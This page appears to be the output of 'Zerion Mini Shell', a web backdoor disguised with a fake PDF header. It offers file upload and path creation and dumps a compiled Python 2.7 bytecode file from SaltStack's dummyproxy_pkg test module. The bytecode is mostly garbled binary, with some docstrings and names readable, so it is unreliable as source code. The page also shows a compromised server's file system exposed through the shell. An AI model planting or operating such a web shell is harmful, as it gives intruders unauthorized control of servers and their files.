%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	m
Z
eje�Z
dZd�Zed�Zdedddd�Zddd	�Zd
�Zddeeed�Zdededdd�ZdS(
u<
Package support for the dummy proxy used by the test suite
i(tabsolute_importtprint_functiontunicode_literalsN(tsixupkgcC@sSy.tjjj�r-tdddkr-tSWntk
rHtdfSXtdfS(u6
    Only work on systems that are a proxy minion
    uproxyu	proxytypeudummyuiThe dummyproxy_package execution module failed to load. Check the proxy key in pillar or /etc/salt/proxy.u[The dummyproxy_package execution module failed to load: only works on a dummy proxy minion.(tsalttutilstplatformtis_proxyt__opts__t__virtualname__tKeyErrortFalse(((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pyt__virtual__s
cK@std�S(Nudummy.package_list(t	__proxy__(tversions_as_listtkwargs((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pyt	list_pkgs*scK@std||�S(Nudummy.package_install(R
(tnametrefreshtfromrepotpkgstsourcesR((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pytinstall.scK@std|�S(Nudummy.package_remove(R
(RRR((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pytremove3scO@snt|�dkr2td|d�}||dSi}x+|D]#}td|�}|j|�q?W|SdS(uY
    Returns a string representing the package version or an empty string if not
    installed. If more than one package name is specified, a dict of
    name/version pairs is returned.

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.version <package name>
        salt '*' pkg.version <package1> <package2> <package3> ...
    iudummy.package_statusiN(tlenR
tupdate(tnamesRtverstresultstn((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pytversion7s

c
K@sCtd�}td�}td�}tjjj||�}	|	S(Nudummy.package_listudummy.uptodateu
dummy.upgrade(R
RRtdatat
compare_dicts(
RRRtskip_verifyt	normalizeRtoldtnewt
pkg_installedtret((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pytupgradeOs



c	K@sctd|�}|dkr@d|kr9tj|d�StSn|dk	r_|tj|�kSdS(Nudummy.package_statusuret(R
tNoneRt	text_typetTrue(	RRRRR!RRRtp((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pyt	installedXs	(t__doc__t
__future__RRRtloggingtsalt.utils.dataRtsalt.utils.platformtsalt.extRt	getLoggert__name__tlogR	RRRR(RRRR*R'R,(((s?/usr/lib/python2.7/site-packages/salt/modules/dummyproxy_pkg.pyt<module>s*				

Zerion Mini Shell 1.0